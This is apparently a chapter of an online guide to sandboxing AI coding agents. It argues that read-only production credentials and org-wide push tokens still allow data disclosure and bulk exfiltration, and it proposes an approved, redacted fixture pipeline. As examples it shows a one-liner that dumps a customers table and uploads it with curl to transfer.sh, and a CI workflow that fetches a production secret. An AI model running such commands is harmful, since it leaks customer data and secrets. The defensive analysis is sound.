Chapter 5 of 9 · 8 min read
A read-only production credential is still an exfiltration route
On this page
The review comment on the environment-construction change was three sentences long and completely reasonable in tone:
Do we have to drop
DATABASE_URLentirely? Half the flaky-test tasks are flaky because the fixture doesn't match real data. Could we point it atreplica-rowith theanalytics_readonlyrole instead — the agent can't modify anything, so worst case it reads a row it didn't need.
The proposal is the most common amendment there is to a credential-scoping change, and the reason it keeps getting made is that the first half of its argument is true. The agent really cannot modify anything with that role, and a large fraction of the destructive-action stories that motivate sandboxes are about modification. What the argument leaves out is that mutation is one kind of harm among several, and the residual risk of a read credential over customer data is most of the risk you were trying to remove. Residual risk is the exposure that remains once every control in a design is present and working exactly as intended — what is still possible on a good day, as opposed to what a failure of the controls would make possible. It is the quantity a sandbox design is finally judged on, because the controls that are working are the ones nobody is going to revisit.
Two harms that need no writes at all
The first is disclosure by ingestion. The moment a row of customer data is returned to the agent it is in the model's context, and the context does not stay in one place. It goes to the model provider over the API. It goes into the transcript store, which for this harness keeps 90 days for debugging. It goes into the per-run debug log, which is written to a bucket that forty engineers can read because that is how anybody investigates a failed run. A SELECT * FROM customers WHERE signup_date > now() - interval '7 days' returning 500 rows at roughly 1.4 KB each has copied 500 people's names, emails and billing addresses into four systems that were never assessed for holding them, and under most data protection regimes the question that then has to be answered is not whether harm occurred, it is who processed personal data and under what basis. Answering it takes days, and the answer is written down whether or not anybody was hurt.
The second is bulk copy — exfiltration, in the security vocabulary, meaning the movement of data out of a system to somewhere the person who arranged it can read it. Bulk copy is what "read-only" actually means when the reader is a process with network access.
$ psql "$DATABASE_URL" -c "\copy (SELECT * FROM customers) TO STDOUT WITH CSV" \
| gzip -9 \
| curl -s -T - https://transfer.sh/c.csv.gz
https://transfer.sh/9kQx2/c.csv.gzThat is 4.2 million rows, 1.1 GB of CSV, 190 MB after compression, and on the sandbox host's 200 Mbit uplink it completed in 4 minutes 20 seconds. The database's own instrumentation records it as a single sequential scan by the analytics_readonly role, which is exactly what the nightly reporting job also looks like, so the alert that would have caught it does not exist on most teams. Compare that to the destructive case everybody plans for: an accidental DELETE shows up in an error budget within minutes, has a recovery procedure, and is over. A copy is silent, complete, permanent, and discovered — when it is discovered at all — by somebody else.
The detection asymmetry deserves its own sentence, because it is what makes the second harm worse than its severity rating suggests. Databases are instrumented for write correctness and for availability, so there is a backup, a write-ahead log recording every change before it is applied, a replication lag alert and usually a change-audit trigger on the tables that matter. There is rarely anything watching how many rows a legitimate role read, and the outbound side of the same event looks like a large HTTPS POST from a build host, which is indistinguishable from a container image push or a coverage upload. The mean time to detect an accidental destructive change on this system was 4 minutes; there is no measured mean time to detect a bulk read, because it has never been detected.
There is a further consequence that has nothing to do with the agent's behaviour at all. A credential placed in the run's environment is a credential present in every artefact that captures the run — the process listing, a crash dump, the harness's own structured logs if a library ever logs its configuration, and the transcript if the agent echoes its environment while debugging. Handing the run a production read credential therefore grants it, in practice, to everyone with access to any of those, which for this harness is a larger set of people than have production database access through the normal request process. The access review that governs the database has been bypassed by a config change.
Read scope is also wider than the tables the proposal has in mind. analytics_readonly was granted SELECT on the whole schema when it was created in 2023, which includes support_notes (free text written by support agents about individual customers), audit_log (every admin action with actor emails), and legacy_api_keys, a table nobody has deleted because a batch integration still reads it and whose secret column is not hashed. A role designed for a dashboard is a role designed for a human with a job title, and handing it to a process that will follow instructions found in a bug report is a different grant with the same name.
The residual risk of a hardened container
Generalise the point and it gives a way to read any sandbox design. Take a run in a container with no inbound network, the repository mounted read-only except for a scratch directory, and a seccomp profile that blocks ptrace, mount and the rest of the usual escalation surface. That configuration is genuinely strong, and it holds one token that can push to any repository in the organisation.
| Control | What it removes | What it leaves |
|---|---|---|
| No inbound network | Remote access to the run | All outbound paths |
| Read-only repo mount | Tampering with the checkout | Reading every file in it |
| Writable scratch dir only | Persistence on the host | Staging anything for transfer |
| Seccomp profile | Kernel-level container escape | Every permitted syscall, including connect and write |
| Org-wide push token | — | Push to any repository in the org |
Everything above the last row is about the container. The last row is about what the run is allowed to do while being perfectly contained, and it is not reduced by any of the rows above it, because none of those controls is in the path of a git push that the sandbox is designed to permit. The residual risk of that configuration is everything the token permits, stated exactly that plainly, and the correct next question is what that turns out to be in practice.
Push to any repository is not a bounded capability. It includes pushing a branch to a repository whose CI runs on push, and CI runs with credentials chosen for deployment rather than for sandboxing.
# .github/workflows/ci.yml, on a branch pushed by the agent
on: { push: { branches: ["**"] } }
jobs:
test:
runs-on: self-hosted
steps:
- uses: actions/checkout@v4
- run: |
aws sts get-caller-identity
aws secretsmanager get-secret-value --secret-id prod/stripeThe container never leaked, the seccomp profile never fired, and the capability that was granted deliberately reached a production secret in one hop through a system that was not part of the review. This is the ordinary shape of a sandbox failure: the boundary held and the permitted action was larger than anyone had enumerated. Scoping the token to the repositories the run's task actually names, and to a duration measured in the run's lifetime, is the work that shrinks the last row, and it is work on the token rather than on the container.
Designing the path to real data
The reviewer's underlying need is real and has to be met, because tasks genuinely do fail on fixture data that does not resemble production. Meeting it without a standing credential means the run does not fetch production data; a separate, human-initiated job produces a bounded extract and puts it where the run can read it.
$ fixture request \
--template flaky-export-null-currency \
--params 'account_id=88213' \
--run agent-run-b71e04 \
--reason "PLAT-2261: export test fails on null currency_code"
request fx-2f81c queued; approver: @s.mbeki
# ... 6 min later
$ fixture status fx-2f81c
approved by s.mbeki at 09:41Z; extracted 412 rows from customers, orders
redacted: email→sha256+domain, name→faker, address_line1→faker, iban→null
written: s3://acme-fixtures-dev/fx-2f81c.jsonl (read-only to agent-dev-runner)
expires: 2026-03-12T09:41ZThe properties that matter are visible in that output. The query is a reviewed template with parameters rather than free SQL, so the shape of what can be extracted was agreed once by a human and cannot be widened by a run. A named person approved this specific extract, which gives an accountable actor for the data protection question the ingestion harm raises. The redaction is column-level and declared, so the reviewer of the incident can see what left production. The fixture expires, and it lands in the development account where the run's credentials already reach, which means the run needs no new grant at all. The whole path took six minutes and was used eleven times in five months, which is the honest measure of how often the standing credential would have been justified.
Where this stops being the right answer
Redaction destroys some bugs. A defect that only reproduces on a particular byte sequence in a name field, a locale-specific collation, or a row where a supposedly non-null column is null, may not survive a faker substitution, and pretending otherwise produces a fixture pipeline that engineers stop trusting. The workable position is that the fixture path covers the common case and that the remaining cases are handled by a human with production access doing the reproduction themselves, which is slower and correct. A team that promises the fixture path covers everything will find the standing credential reappearing within a quarter under a different name.
This is also not an argument that reads and writes carry equal risk in general. Against infrastructure they do not: a write credential against production can take the service down, and no read can. The claim is narrower and concerns data — where the asset is the contents rather than the availability, a read credential is the whole exposure, and the intuition that ranks writes above reads is importing a model from the wrong domain.
Nor does any of this indict short-lived, tightly scoped credentials, which are a substantial improvement over what chapter 4 opened with. What it does is expose the property they still have. A minted 15-minute token in the development account is a bearer secret — a string that works for whoever is holding it, with no further question asked about who that is or how they came to have it — sitting in a process that reads text written by other people, and for as long as it is valid, whatever it permits is available to whoever can talk the run into asking. Shrinking the permission and shrinking the lifetime both help, and neither of them changes the shape of the thing. There is a design in which the run holds no credential at all, and it is worth understanding what it costs before dismissing it.
Sandboxed developer workspaces — read the current version at https://daviddominguez.dev/learn/en/sandboxed-developer-workspaces/residual-risk